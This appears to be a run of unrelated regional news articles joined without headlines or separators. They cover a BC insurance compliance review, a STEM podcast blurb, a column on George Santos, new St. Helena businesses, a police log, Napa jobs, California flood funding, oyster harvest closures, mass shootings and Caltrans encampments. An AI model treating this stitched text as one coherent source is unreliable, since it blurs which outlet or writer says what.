However, the Insurance Council of BC told Glacier Media it is conducting a compliance review related to the subject matter referenced in the Order issued by the Financial Services Regulatory Authority of Ontario but offered few details.

Greatway contracts with life insurance companies and acts as an intermediary between the insurers and its agents. Such agencies are regulated by the council.

Ontario allegations

Last month, Ontarios regulator, the Financial Services Regulatory Authority (FSRA) of Ontario, ordered Greatway to retrain its Ontario agents and send existing Ontario policy holders, who used Greatway agents, information to reassess their policy.

The Ontario authoritys Dec. 16, 2022 order also requires the company to take additional measures to ensure that consumers who purchase Universal Life policies in Ontario are provided with information and advice that is appropriate and accurate.

The Ontario authority had alleged that agents trained by Greatway may provide consumers with information and advice which is inappropriate, inaccurate or misleading regarding the terms, benefits or advantages of certain insurance policies, including universal life policies sold under an insured retirement plan strategy.

At issue was a universal life insurance product the agents were selling (Insured Retirement Plan, or IRP for short) that required additional money be put aside as a tax-deferred fund for when the cost of insurance increases as the insured ages.

The IRP is suitable for higher net-worth individuals, such as those who have maxed out their RRSP; however, FSRA found the company was training agents to oversell the product to all customers, regardless of their financial circumstances.

Agents were found framing the IRP as a savings account, not insurance cost.

The FSRA notice of proposal (NOP) stated: For example, the Training instructs Agents: Rule of Thumb: Do Not Mention Insurance Amount; dont focus on life insurance; remove the insurance mindset and have the client focused on saving/investment; and Do not mention Face Amount yet. Use this as a jackpot moment.

The compliance order states, Greatway disagrees with some of the allegations in the NOP but wishes to cooperate with FSRA to address the alleged deficiencies in the Training.

Greatway issued a statement following the order: As leaders in our industry, Greatway Financial is committed to continuous improvement and to delivering high quality service to our clients. All Greatway agents licensed in Ontario are required to complete the revised training by March 31, 2023.

The Ontario authority noted Greatway has grown rapidly in recent years: in 2018, Greatway had 1,400 licensed agents across Canada and sold approximately 13,000 policies. In 2021, Greatway had 3,490 agents across Canada and sold approximately 25,000 policies.

Conduct under review in B.C.

Whats unclear is how many Greatway agents operate in B.C. and how many policies have potentially been sold in this province under the circumstances outlined by the FSRA.

Glacier Media sought answers for whats being done to protect B.C. consumers.

British Columbias chief financial regulator, the BC Financial Services Authority (BFSA) is the FSRAs provincial sibling that bills itself as the single integrated regulator of B.C.s financial services sector overseeing credit unions, trust and insurance companies, mortgage brokers, pension plans, and real estate services.

However, in this circumstance, BCFSA told Glacier Media it only regulates insurance companies and not agencies, such as Greatway; that task remains with the Insurance Council of BC.

As such, BCFSA has not issued any likewise enforcement action, to date, nor issued a statement that may flag B.C. consumers of the potential problem raised by Ontarios authority.

The council informed Glacier Media its compliance review commenced Oct. 22, 2022, following FSRAs notice of proposal.

This type of review looks at whether licensees conduct and insurance practices are compliant with the requirements of the Insurance Councils Rules, Code of Conduct, and the Financial Institutions Act, stated spokesperson Melinda Lau.

Lau also noted that the Canadian Council of Insurance Regulators (CCIR) conducted a joint review of Greatway and three other agencies, which occurred in the first half of 2022.

But the council is not a member of CCIR; rather, the BCFSA is, and FSRA led that review and posted its findings on its website on Sept. 28, 2022. The findings formed the basis of Greatways notice the following month. The BCFSA is said to have been a passive participating authority.

Glacier Media has reached out to Greatway for comment but did not receive a response.
On this episode of the Utterly Moderate Podcast we are discussing women in fields related to science, technology, engineering, and mathematics (STEM) in the U.S.

According to the AAUW:

"Women make up only 28% of the workforce in science, technology, engineering and math (STEM), and men vastly outnumber women majoring in most STEM fields in college. The gender gaps are particularly high in some of the fastest-growing and highest-paid jobs of the future, like computer science and engineering."

There has been a push for some time to increase these numbers, so we thought we might spotlight a very promising female college student majoring in STEM, Brighid Cantwell, a student of Lawrence Eppard's (podcast host) at Shippensburg University.

The Connors Forum is an independent entity from the institutions that we partner with. The views expressed in our newsletters and podcasts are those of the individual contributors alone and not of our partner institutions.

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Moderates are in the suburbs -- Democrats, Republicans and independents -- who want Washington spending kept in check. They tend to be liberal on social issues but pained over the extremes of the woke. They have respect for various sexual identities but little interest in learning new pronouns. And they overwhelmingly want some access to abortion.

Except for the woke stuff, the Republican House leadership has ignored all of these preferences. Well-heeled suburbia tends to brush off its claims of fiscal propriety as bunk. Its voters are especially unhappy about how a confrontation over the debt ceiling would hurt their portfolios.

I grew up in New York's 3rd Congressional District, now represented by Republican George Santos. For many of its Democrats in Queens and northern Long Island, voting Republican required ignoring the crazies: The Jan. 6 rioters at the Capitol. The head case who broke into Nancy Pelosi's house and beat up her husband. The ex-con Solomon Pena, who, after losing his bid to win a seat in the New Mexico legislature, organized a team of hoodlums to shoot bullets into the homes of Democratic politicians.

Pena was nevertheless the Republicans' anointed candidate. As was George Santos.

Quote Conning Jewish voters with a vaguely antisemitic stereotype is not a good look.

The thing about Santos is that he looked normal. Only after the election did we learn that his official biography overflowed with lies -- that he's a deadbeat swimming in credible accusations of fraud, check-stealing and running assorted cons.

Fear of crime is what flipped four New York congressional districts in 2022, even though most of their comfy neighborhoods saw little of it. Many of these voters got sucked into the nonsense on right-wing media that was then amplified further on the left-wing media trying to counter it.

And so how might Santos voters react to the mockery that they now share as dupes? Not in a way that would be helpful to Republicans wanting to reconquer the suburbs.

Once the full picture emerged, Republicans on Long Island rightly demanded that Santos resign. That could have partly reflected a sense of betrayal and belief in rectitude. Much of it, though, was concern for the Republican brand in a part of the country that has shown willingness to send normal Republicans to Washington. You don't get more abnormal than Santos.

It doesn't help that Republican House leaders continue to protect Santos. It's true that their narrow majority would become even narrower if he were to give up the seat, but the loss wouldn't have turned control back over to Democrats.

Savvy residents of New York's suburbs don't like lies and are usually informed enough to identify blatant non-truths. But they hate even more being taken for fools. Face it, Santos really pulled one over on them.

This electorate, furthermore, is heavily Jewish. To many of these voters, Santos' sins go beyond lying about having a Jewish grandmother who escaped in the Holocaust. (Turns out this grandmother was born and lived in Brazil and appears to not have been Jewish, in any case.)

That was bad, but other New York politicians have claimed Jewish heritage with scant evidence. Rep. Alexandria Ocasio-Cortez was one.

What must have truly rubbed Jewish voters wrong was Santos' using a fake Jewish name, Anthony Zabrovsky, to bilk an animal rescue charity. One of his roommates even quoted him as saying, "the Jews will give more if you're a Jew."

Conning Jewish voters with a vaguely antisemitic stereotype is not a good look in NY-3. Nor should it be elsewhere.

But Santos, it seems, cheated people of all races, ethnicities and religions -- and he's going to be top of the news through the 2024 election. That's not good for Republicans in the suburbs, above all, his.
The year 2023 looks to be a year of exciting new offerings on Main Street downtown St. Helena, with renovations and new businesses expanding the boutique retail environment in addition to new wine and culinary options.

Tweed & Vine

Formerly located at the Vasconi Pharmacy building at Adams and Main Street, this upscale resort wear retailer is relocating to the currently vacant space at 1239 Main St. on Feb. 15. Store owner Kenny Blenis could not be more excited about his future in St. Helena.

Tweed & Vine is unique because its a lifestyle store that curates beautiful high-quality classic clothing for men and women, Blenis said. We source mostly from smaller manufacturers in Italy, France, Spain and the UK and merchandise the clothing along with home goods, artwork and collectibles. We love giving personalized service to our customers, many of whom we have known from over 40 years in business at Button Down in San Francisco. We are so happy to make St. Helena our home and be part of a great community.

NO|MA House Cafe & Collective

In the former restaurant space of Archetype, which closed during the pandemic, is a fresh new eatery and wine bar slated to open this spring at 1429 Main St. NO|MA House Cafe & Collective (short for North Main) is a cafe and retail collective that is deeply rooted in community. Energizing the north end of Main Street, NO|MA House Cafe & Collective brings people together to eat, talk, work, learn, and find inspiration in a beautifully designed and welcoming space. The space will activate Main Street with an enchanting outdoor patio, near the downtown gateway.

Owned, designed and operated by an all-female team, NO|MA House Cafe & Collective celebrates wholesome ingredients throughout the menu that are meant to nourish and satiate. The retail collective offers an alternative to fast-paced home, lifestyle and fashion cycles. Guests can peruse intentionally sourced treasures, objects and furniture that are meant to support thoughtful consumerism, local artisans and makers. For more information on the retail shop, cafe or upcoming events, visit nomahousecafeandcollective.com.

Orin Swift tasting room

Located in central downtown St. Helena at 1321-1325 Main St., the new contemporary facade planned for this building is bold but respectful of the historic Main Street. Orin Swift cellars received city design review and use permit approvals to expand to a 62-seat wine tasting room. The renovations will also include a trendy shaded outdoor patio on the back side of the building. Construction will start in the first quarter of 2023.

Elyse Walker

The popular womens clothing and accessories boutique will relocate from its Adams Street location to the historic Vasconis building (the prior location of Tweed & Vine) on the corner of Main and Adams streets. The builder, David Walker, recently received unanimous Planning Commission approval to update the 1960s-era facade with a fresh new first-floor facade that evokes the historic storefront character from the turn of the 20th century. The renovation is anticipated to be complete in March. The interior space will be completely renovated to provide a fresh space for the Elyse Walker retail store, anticipated to open in May.

Houtskool Dumplings

Houtskool Dumplings is an artisan dumpling house, with a focus on sustainability. Set to open in the spring-summer at 1136 Main St., they will be offering handcrafted dumplings, steamed to order for dine-in and takeout, along with frozen packaged dumplings for home preparation. Their farm-fresh menu is created with thoughtfully sourced ingredients and will be served in a minimalist environment.

We chose St. Helena as the location for our first brick-and-mortar (outlet) so that we could continue to share our craft with the community, in heartfelt gratitude for the enthusiasm we felt during our pop-up days at Carter and Co., according to co-founders Syd Kato and Lucas Moderacki. For more information, visit houtskooldumplings.com.

JCB Tasting Lounge

The world-renowned JCB winery has announced plans to expand to downtown St. Helena and renovate the space at 1320 Main St., next to the Chamber of Commerce. The design team is formulating the unique offerings and space design planned for St. Helena, and permitting and approval process is expected to begin this year, with renovations in 2024.

Ray Rays Tacos

Opening in 2023, Ray Rays at 1304 Main St. will serve classic Austin-style breakfast tacos alongside Rachel Williams own chef-inspired signature tacos, salads, salsas and sides. The menu will feature a selection of wines crafted by local winemakers as well as regional beers on tap, each carefully chosen to pair with Ray Rays favorite seasonal bites.

By serving up her beloved Tex-Mex and Southern-inspired recipes with the freshest Northern California ingredients, Williams seeks to create one-of-a-kind food memories for both her friends and visitors to Californias wine country. Dine in and take-out options will both be available.

Pizza Station

Food-wine entrepreneur Joel Gott, owner of The Station, has acquired the space at 1149 Main St. and a renovation is underway to accommodate his newest eatery, The Pizza Station. We are in the final phases of getting the system and menu together. We hope to open by the end of February, Gott said.

Chamber relocates

The St. Helena Chamber maintains its presence on Main Street with renovations underway to relocate to the space at 1136 Main St., which will make their current space available for the future home of the JCB Tasting Lounge.

Charlies Place

Elliot Bell, a 10-year veteran of Thomas Kellers world-renowned French Laundry, is set to open a restaurant of his own at 1327 Railroad Ave. (formerly Cindys Backstreet Kitchen), named Charlies after his 2-year-old son. Opening this summer, Charlies will offer a full bar with cocktails, champagne and local wines that complement a casual new American menu.

Inspired by my son, I wanted to create a restaurant that shares his same tireless energy, and constant desire to learn and grow, Bell said. As a family-run business, Charlies looks forward to building long-term, sustainable careers for our team and similarly enduring relationships with our vendors, purveyors and community.

As a member of the St. Helena Fire Department, few things are as important to Bell as community. As such, Charlies already has strong ties with local farmers, ranchers, winemakers and craftspeople in the area, including Wolfe Ranch Quail, Wine Forest Mushrooms, Napa Wild, Regiis Ova Caviar, K and J Orchards, St. Helena Peach Farm, Mad Fritz Brewery, Napa Valley Land and Livestock, NBC Pottery, and Hog Island Oysters. For more information, visit charliesnv.com.
Wednesday, Jan. 18

0415  An officer came across a hit-and-run at Highway 29 and Deer Park Road. A car had hit a sign.

0442  Police cited a driver near Main/Elmhurst.

0914  A car hit a sign near Pope/Paseo Grande. Nobody was injured.

1259  Report of a small labradoodle running loose near Main/Elmhurst.

1319  Police were asked to be on the lookout for an intoxicated woman whod left the hospital against medical advice.

1537  An apricot-colored cockapoo had left her owners car in the Safeway parking lot at 1 p.m. and hadnt been seen since. Brandy was last seen wearing a pink collar.

1545  Report of many cars speeding on Pratt Avenue.

1805  Report of a pothole in the northbound lane of Silverado Trail just south of Pope Street. Public Works patched it.

2318  Following a traffic stop at Main/Deer Park, police arrested a 47-year-old Calistoga man on suspicion of driving under the influence of drugs and drug possession.

Thursday, Jan. 19

0115  Report of a dog barking nonstop for two days on Bella Vista Court.

0227  Lift assist on Main Street.

Friday, Jan. 20

1235  Report of two big dogs barking all day every day near Allison/Charter Oak.

1423  Non-injury accident blocking the northbound lane of Main Street near Charter Oak Avenue.

1426  Report of a landscaper using a gas-powered leaf blower on Chiles Avenue. The caller asked officers to educate the landscaper about the citys new ban.

1456  A yellow lab was found wandering Fulton Lane.

1714  While checking on a suspicious person/vehicle on Sulphur Springs Avenue, police arrested a 52-year-old Lake County man for a felony warrant from Missouri.

1916  Report of four or five suspicious men goofing around and playing with ATMs outside an Adams Street bank. Police checked the area.

2144  Police cited an unlicensed driver near Main/Pratt.

2357  Police issued a parking citation on Monte Vista.

Saturday, Jan. 21

0142  Police cited a driver for speeding near Main/Pope.

0847  Report of a labradoodle on the loose near Spring/Valley View. The person who saw it got in touch with its owners after seeing a lost dog flyer on Nextdoor.

1216  A cellphone found on Grayson Avenue was returned to its owner.

1325  Police were asked to help sheriffs deputies respond to a possible burglary in progress on Silverado Trail.

1546  Medical aid on Main Street.

2211  Report of a constant sonic boom in the El Bonita Avenue area.

Sunday, Jan. 22

0152  Police cited a driver during a traffic stop on Highway 29.

0844  Medical aid for a fall victim with a head injury on Del Rio Court.

1040  A parked vehicle was towed from Hunt Avenue because its registration had been expired for over six months.

1153  Brandy, the cockapoo reported missing on Wednesday, was found and reunited with her owners.

1258  Report of a dead skunk on Mariposa Lane. Police notified Public Works.

Monday, Jan. 23

0110  Police responded to a domestic dispute on Church Street.

PHOTOS: Training for an active shooter situation in St.Helena
Napa Countys jobless rate dipped in December, but dont expect more of the same in January or February, according to one local employment expert.

The unemployment rate in Napa County was 3% in December 2022, down from a revised 3.2% in November and below the year-ago estimate of 4.1%, the state Employment Development Department reported on Friday.

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That compares with an unadjusted unemployment rate of 3.7% for California and 3.3% for the U.S. during the same period, the EDD said.

Year over year, Napa County industries with increased hiring included farm, construction, leisure and hospitality positions.

The number of food services and drinking places jobs in Napa County rose from 6,800 in December 2021 to 7,300 in December 2022. At that same time, the number of accommodation jobs increased from 10,800 to 11,700.

However, retail, transportation and warehousing jobs saw slight declines year over year.

The number of unemployed workers in Napa County dropped from 2,700 in December 2021 to 2,000 last month.

According to Maria Lorenzana, staffing specialist at Napas Star Staffing recruiting office, the jobless rate will likely not fall again in January and February.

Thats because those two months are usually the quietest when it comes to Napa Countys wine industry, she pointed out.

Typically, the job opportunities disappear during the first quarter of the year, Lorenzana said.

While hiring is currently slow, many people who normally work in the wine industry are taking any kind of jobs at the moment because of course rent doesnt stop, she added.

Come February, hiring to work on bottling lines will start its season.

Hospitality (hiring) picks up mid-to-late March, Lorenzana noted. And then from May to November its extremely busy.

Star Staffing specializes in hiring light industrial, hospitality, winery and administrative jobs, she noted.

In her experience, entry-level jobs, such as warehousing or bottling lines, can range from $17 to $18 per hour. Workers with additional skills or certifications can earn around $20 to $22 per hour. Administrative workers can potentially earn $25 to $28 per hour, depending on position, experience and employer.

Effective Jan. 1, 2023, the minimum wage is $15.50 per hour for all California employers, regardless of business size. Some cities and counties have higher minimums than the state's rate.

As of October, two cities in the Bay Area had the highest minimum wage: Mountain View and Sunnyvale, both at $17.10 hourly.

Fastest-growing jobs that pay over $100K Fastest-growing jobs that pay over $100K #50. Administrative services managers #49. General and operations managers #48. Facilities managers #47. Makeup artists, theatrical and performance #46. Advertising and promotions managers #45. Atmospheric, earth, marine, and space sciences teachers, postsecondary #44. Human resources managers #43. Education administrators, postsecondary #42. Nurse midwives #41. Training and development managers #40. Public relations managers #39. Construction managers #38. Producers and directors #37. Financial risk specialists #36. Physicists #35. Anthropology and archaeology teachers, postsecondary #34. Petroleum engineers #33. Economics teachers, postsecondary #32. Transportation, storage, and distribution managers #31. Financial and investment analysts #30. Psychiatrists #29. Law teachers, postsecondary #28. Computer systems analysts #27. Optometrists #26. Lawyers #25. Fundraising managers #24. Bioengineers and biomedical engineers #23. Marketing managers #22. Database architects #21. Management analysts #20. Nurse anesthetists #19. Engineering teachers, postsecondary #18. Agents and business managers of artists, performers, and athletes #17. Chemical engineers #16. Biochemists and biophysicists #15. Personal financial advisors #14. Computer and information systems managers #13. Financial managers #12. Medical scientists, except epidemiologists #11. Veterinarians #10. Actuaries #9. Computer and information research scientists #8. Health specialties teachers, postsecondary #7. Software developers #6. Physician assistants #5. Medical and health services managers #4. Information security analysts #3. Athletes and sports competitors #2. Data scientists #1. Nurse practitioners
SACRAMENTO  Multiple flood protection projects in California are on hold after Gov. Gavin Newsom proposed cutting their funding to help cover a $22.5 billion budget deficit  a decision disappointing environmental advocates as weeks of powerful storms have caused widespread flooding that damaged homes and washed away roads.

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Newsom's budget proposal, released Jan. 10, cuts $40 million that was pledged for floodplain restoration projects along rivers in the San Joaquin Valley, an area at high risk of catastrophic flooding.

Those projects would allow for rivers to flood in strategic places during winter storms or the spring Sierra Nevada snowmelt, reducing the risks for populated areas downstream while also benefiting environmental ecosystems.

Newsom approved that money last year, when the state had a record budget surplus of around $100 billion. Just a few months later, things have changed dramatically as a sluggish stock market has slowed the state's economy, reducing the amount of taxes the state collects. Now, Newsom says California will have a $22.5 billion deficit this year.

The governor's plan to cover that relies in part on cutting $9.6 billion in spending, including the $40 million for the floodplain projects. It would restore the funds in 2024 if they are available.

I see it as prioritizing winners and losers in California  and were the losers, said Barbara Barrigan-Parrilla, executive director of Restore the Delta, an environmental advocacy group.

The Newsom administration would cut that money because we are facing serious economic headwinds, said Wade Crowfoot, secretary of the California Natural Resources Agency. He said those floodplain restoration projects are eligible to get funds from other places, including the state's Sustainable Groundwater Management Program and the Wildlife Conservation Board.

The decision was made in early December, weeks before record rainfall hit the state, and Crowfoot acknowledged the recent storms could change the administration's thinking. The budget won't be finished for months and will be changed multiple times, he noted.

I think clearly these storms and the flooding impacts they have created have elevated policy makers understanding of the importance of flood investments, Crowfoot said.

For more than 100 years, Californians have tried to tame their rivers with a complex system of dams, canals and levees that have transformed the state's Central Valley into fertile farmland.

But recently state officials have been rethinking that strategy by returning large swaths of land to floodplains.

One celebrated example is the Dos Rios Ranch Preserve in Modesto, which marked its 10th anniversary last fall with a ceremony attended by high-level Newsom administration officials. The project has been so successful that it was one of the reasons the governor signed off on the $40 million for similar projects.

The money was set to pay for nine floodplain reconnection projects that are ready to begin plus help another six that are still in the planning process, said Julie Rentner, president of River Partners, a nonprofit that is managing the projects.

The work has stopped, she said.

Newsom can't sign the budget into law until it has first been vetted by the Democratic-controlled state Legislature, a process that will last for much of this year. But announcing the cuts essentially puts the money on hold, stalling projects.

Adam Gray, a former Democratic member of the state Assembly who pushed for the funding, said it was one of the most exciting things I worked on in the 10 years I was in the Legislature.

I was extremely thrilled to have gotten it done, but now we can't move forward, he said, adding: I'm hoping the governor will see the wisdom in restoring that money.

Newsom's budget plan does contain other funds targeting flooding. He proposed more than $200 million in new spending on flood protections, including $135.5 million over two years to reduce urban risk; $40.6 million to strengthen levees in the Sacramento-San Joaquin River Delta; and $25 million to reduce flooding risks in the Central Valley.

Since 2021, Newsom and state lawmakers have committed to spend roughly $8.7 billion on the paradoxically connected issues of drought and flood. The governor's budget would lower that by about $194 million, a cut that doesn't include the $40 million for floodplain projects.

Crowfoot said it's still by far the most the state has ever committed to those issues.

But environmental advocates say more must be done.

Under the Central Valley Flood Protection Plan, the state historically has averaged about $250 million on flood management. Last year state regulators updated it to call for an increase to between $360 million and $560 million, noting that in a worst case scenario, flooding could cause up to $1 trillion in damage.

Rentner said that while it's a significant allocation, it doesn't keep up with what the flood plan says is necessary.

I don't think my faith is shaken that folks believe in flood plain restoration, she said. I just think maybe we don't understand how to do it quickly. That's the hard part. We need to take every opportunity we can to move forward as fast as possible.
"You can say that we're the only farmers who don't like rain," said Neal Maloney, owner of Morro Bay Oyster Co., a Central California harvester that produces around 1 million Pacific Gold oysters per year.

Since the tail end of last year, when the first in a parade of storms slammed into California, Maloney and many of the state's other oyster farmers have been unable to harvest the mollusks, temporarily closing some operations and taking California oysters off some menus.

Although the storms brought much-needed rain to the state, helping to refill reservoirs and soaking drought-stricken regions, the water runoff into places such as Morro and Tomales bays prompted oyster harvesters to pause operations for bacterial testing.

"Here in Tomales Bay, most of the year the water quality is some of the best in the lower 48," said John Finger, co-founder and CEO of Hog Island Oyster Co. Hog Island is one of the state's largest oyster harvesters, producing around 6 million mollusks a year, 3 million of which are produced at its Tomales Bay facility.

Because of runoff from agricultural fields and homes, "the fecal coliform bacteria count goes up," Finger said. The bacteria levels might not make people sick, he said, but are "an indicator there might be some issues in the water."

Depending on how high water levels rise or how much rain falls, farmers are required by the state health department to wait a certain number of days and retest the bacteria levels before they can take up harvesting again. The waiting period allows the oysters to purge out pollutants as well.

When rain causes Chorro Creek, which empties into Morro Bay, to rise by a foot, Maloney is unable to harvest for several days.

During the most recent set of storms, the creek rose by 20 feet.

"Since the storm started, I haven't been able to harvest for about two weeks," Maloney told the Los Angeles Times on Thursday. "On Friday, I have to test the water to see if it's clean enough, and if it is, I'll get that result on Monday.

"So the soonest I could harvest is Monday," he said, "unless it rains more."

If rain again raises the creek by a foot, the clock would reset and Maloney would be unable to harvest for another several days.

"We are currently in a shortage," he said.

For Maloney, the harvest stoppage has set his supply chain back by about a month.

In addition to the stoppage, the Morro Bay Oyster Co. is still recovering from the effects of the pandemic, which closed restaurants that purchased the oysters.

"We went to zero cash flow for almost a year," Maloney said. The business was buoyed by Paycheck Protection Program loans from the Small Business Administration and some money from the U.S. Department of Agriculture.

"It's like a three-year recovery," he said. "We were already kind of in a limited capacity, so to take any kind of hit right now is not a good time."

The shortage has had an effect on restaurants and vendors, particularly for specialty operations like the Ventura Fish Market, which operates only on Saturdays and provides products with the promise that they are "24 to 48 hours out of the water or still alive."

"The last few weeks, we haven't had any offerings" for customers, said owner Kat Jones. "No local fish. No paychecks for anyone in the industry."

For those who have their freezers full, she added, it's no problem.

Restaurants like L & E Oyster Bar in Silver Lake are able to get by without their California-grown-and-harvested oyster offerings by depending on other suppliers.

For now, L & E's oysters are sourced from British Columbia, Canada and Baja California, with some from the East Coast, said co-owner Tyler Bell.

California oyster supplies can be "hit and miss" since harvesting is shut down by even small amounts of rain, Bell said.

In some oyster regions, harvesting can be halted by as little as 0.4 inches of rain, per the California Department of Public Health.

Hog Island, which also operates its own restaurants, is currently "buying everything" from other vendors while offering none of its own oysters because of the rains. The last time it was able to supply its own oysters on the menu was in early January.

"There's a lot more cash flowing out at a time when it's already slower," Finger said.

The Grassy Bar Oyster Co., on Morro Bay, also operates its own storefront. But unlike Hog Island, it has been unable to open as it serves only its own harvested oysters.

"We have a (financial) cushion that we're going to quickly burn through," said Grassy Bar President George Trevelyan, adding that he has had to cut staff hours.

But beyond the financial hits that have oyster harvesters worried is the likelihood that bigger, stronger deluges will be the norm in California because of climate change.

"This is one of the things we were pretty sure was going to happen: more intense storms," Finger said. "And you know what you worry about is not even just the amount of freshwater (in the bay) but siltation.

"The long-term health of the bay gets affected if you've got streams blown out and more mud coming down," he said. "That's what we're going to have to get used to."

Photos: Fishing, harvest of eggs blamed for drop in sea turtles
As mourners were gathering Monday evening for a candlelight vigil in Monterey Park for 11 people killed by a gunman at a dance studio, word spread of another mass shooting in Half Moon Bay.

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Siu Fong, a Monterey Park retiree who volunteers at the Langley Senior Center, knew two of the victims of that shooting. With another spasm of violence less than two days later, she was left wondering: What is happening in California?

I would say there needs to be a little bit more gun control, she said. Of course, a lot of people say they need guns to protect themselves, but the thing is, maybe they need stronger background checks. I dont want people going to gun shops to get guns.

California is reeling from three mass shootings carried out in one week.

Six people were found fatally shot inside a home in Goshen, outside Visalia, on Jan. 16 in a case police believe could be tied to organized crime.

On Saturday night, 72-year-old Huu Can Tran walked into the Star Ballroom Dance Studio in Monterey Park and opened fire, killing 11. He then went to a second dance club in Alhambra but was disarmed. Police think jealousy over a personal dispute might have been the motive in the attack but emphasize that the investigation is continuing. Tran carried a 9mm MAC-10 when he walked into the Monterey Park dance hall about 10:20 p.m. Saturday and began spraying bullets as frightened patrons ducked for cover. Authorities recovered at least 42 spent shell casings from the scene.

Then Monday afternoon, seven more people were killed in two shootings in Half Moon Bay that authorities say are connected. A 66-year-old man is suspected of opening fire at two rural farms about a mile apart, shooting some of the victims in front of children who lived nearby and had recently been released from school. The shooting suspect, identified as Chunli Zhao, was believed to work at one of the farms. Police have not revealed a motive in those shootings.

Tragedy upon tragedy, Gov. Gavin Newsom, who was visiting Monterey Park on Monday, said of the two attacks.

California has some of the strictest gun laws in the nation, and there has been talk of even more restrictions in the wake of the latest violence.

Data suggest the rules have made a difference. As the Los Angeles Times reported last year, in 2005, California had almost the same rate of deaths from guns as Florida or Texas, with California reporting 9.5 firearms deaths per 100,000 people that year, Florida reporting 10 and Texas 11, according to data from the National Center for Health Statistics. Since then, California has repeatedly tightened its gun laws, while Florida and Texas have moved in the opposite direction.

Still, the continuing mass killings have many searching for answers.

This is tragic on multiple levels, San Mateo County Supervisor David Canepa said. Noting that the victims in the Half Moon Bay shootings were Chinese farmworkers, he said it was horrific that its a Lunar New Year (and) you have people massacred both in Monterey Park and in the Half Moon Bay area. We should be celebrating, but instead we find ourselves  because of gun violence  burying innocent people.

Some are calling for tighter gun laws.

We are sickened by todays tragedy in Half Moon Bay. The scourge of gun violence has sadly hit home, San Mateo County Supervisor Dave Pine said in a statement.

We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop. The state of California has among the strictest gun laws in the United States, which we have strengthened through local action here, but more must be done, he said. The status quo cannot be tolerated.

Assemblymember Marc Berman, D-Menlo Park, lamented the scale of violence to hit California in such a short time.

Two hours ago, I joined my colleagues on the Capitol steps for a vigil for the victims of the shooting in Monterey Park, he said on Twitter. Before weve even had a chance to mourn them, there is yet another mass shooting  this time in Half Moon Bay. In my district.

Speaking to reporters Monday before the Half Moon Bay shooting made news, Newsom talked about what California has achieved on gun control.

The success is demonstrable. Its overwhelming, that our gun safety laws save lives. And you see leadership here back in 1967, when the modern gun rights movement was launched, then by Ronald Reagan, you saw it with the assault weapons ban in California 1989, led again by (a) California senator in 1994. California will continue to lead red-flag laws, background checks, waiting periods across the spectrum, he said.

But the governor noted that people who want to avoid California gun laws can simply go to a state with lesser regulations, buy weapons and bring them back.

One question is what other laws California can enact.

One new law that took effect Jan. 1 gives residents and state visitors new powers to threaten the gun industry.

Senate Bill 1327 authorizes anyone other than state or local government officials to sue people who violate the Californias laws against the manufacture, distribution or sale of assault weapons, ghost guns and other banned firearms.

Lawsuits also could be brought against gun dealers who violate the states law against selling or transferring weapons (besides hunting rifles) to anyone younger than 21.

Last year, California legislators failed to pass a bill that would have strengthened the states concealed-carry law that Newsom and Democratic leaders crafted in response to the U.S. Supreme Courts ruling that expanded a persons right to carry firearms outside the home.

It remains unclear how the guns used in the three latest mass shootings were acquired.

At the memorial in Monterey Park, many said they came to honor the victims and turn to others for comfort.

Theres something about being with others who feel just as sad as you do, said Enrique Hernandez, who had arrived on a bicycle. You dont feel so alone.

When he heard about the Half Moon Bay shootings, he added: Too much bloodshed.

Photos: Mass shooting at Lunar New Year celebration in California
Caltrans says it is struggling to keep up with the number of homeless encampments popping up on its properties and is seeking millions of dollars to help clear them.

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The state transportation agency has requested $20.6 million over the next two years to remove hazardous materials from encampments on its properties. It is also asking for an additional $5.8 million to expand its newly established Office of Homelessness and Encampments.

In a proposal to the states Department of Finance, the agency said it planned to hire seven employees for a new Homeless Solutions Team and also add 10 coordinators to the current 20-member Caltrans team tasked with overseeing clearance of encampments on its right-of-way properties.

Caltrans cannot solve homelessness; however, it is clear the Department cannot ignore the impact this humanitarian crisis is having on the people experiencing homelessness, the traveling public, and the transportation network, the budget request reads.

Caltrans to clear thousands of encampments

The agencys ask comes as California faces a $22.5 billion budget hole in the upcoming fiscal year, which could make it more challenging to secure additional dollars.

Clearing encampments has been a priority for Gov. Gavin Newsom, especially as hes presided over historic budget surpluses. This time around, however, hes proposing a wide range of cuts and deferred spending to make up the states fiscal shortfall.

Caltrans reports its on pace to close 1,200 encampments in this fiscal year  up nearly 500% from the 269 cleared last year. But thats only a fraction of the more than 5,000 encampments on its rights of way, the agency reports.

Officials say the encampments damage the states transportation infrastructure and pose safety issues for unhoused residents living there. The agency estimates it has spent more than $104 million over the past six years making emergency repairs on its properties.

A large Bay Area encampment in Oakland was the site of more than 100 fires in 2022. One caused fatalities and others have threatened serious damage to one of the citys major freeway interchanges, according to the agency. Caltrans is taking a phased approach to close and clean sections of that encampment  dubbed Wood Street  but several dozen holdouts are still living there amid an ongoing legal battle.

Caltrans officials say they cannot keep up with the rate at which encampments are developing on its properties. The agency said the additional money will mean less damage to the states transportation network, encampment closures that connect homeless residents with social services, and stronger partnerships with local leaders and service providers.

Cities say more homeless resources needed

Caltrans plans to distribute the new homeless response positions across the state based on areas of greatest need. Los Angeles would get five. Oakland would receive four, followed by San Diego with three and San Luis Obispo, Stockton, Marysville/Sacramento and San Bernardino with two.

LaTonda Simmons, Oakland assistant city administrator, welcomed the potential new resources but said the city also needs more state funds to boost its transitional housing for those in the encampments.

Without expanded affordable housing opportunities along with sustained emergency shelter, encampment closures will only perpetuate displacement and the mission of housing our homeless cannot be realized, Simmons said in an email. Everyone deserves a safe and affordable place to live, and ultimately, we know the solution to homelessness is housing.

Sacramento Mayor Darrell Steinberg said he is in full support of Caltrans request.

And there needs to be an ever-increasing amount of collaboration between Caltrans, the county, the city to actually get people out of these encampments permanently with housing and services, Steinberg said. Voluntarily first, and involuntarily, if necessary.

Steinberg said hes also in favor of Newsoms push for more results and accountability from local agencies receiving state homelessness funds. He said cities and counties need to do whatever it takes to to wrap around and care for these people, including mental health outreach.

The governors plea ... is really the same as the plea I hear from the residents of my city, which is: Clean up these encampments, Steinberg said. And thats imperative. How we go about doing it is equally important. And that means that we must insist that cities and counties together engage in consistent, assertive outreach to the people living in these encampments.

Advocates opposed to Caltrans cleanups

Homeless advocates opposed to encampment clearance argue cities and agencies like Caltrans are wasting millions of dollars to merely shuffle unhoused people from one area to another. They say this frequently makes it more difficult for service providers to locate those who need assistance.

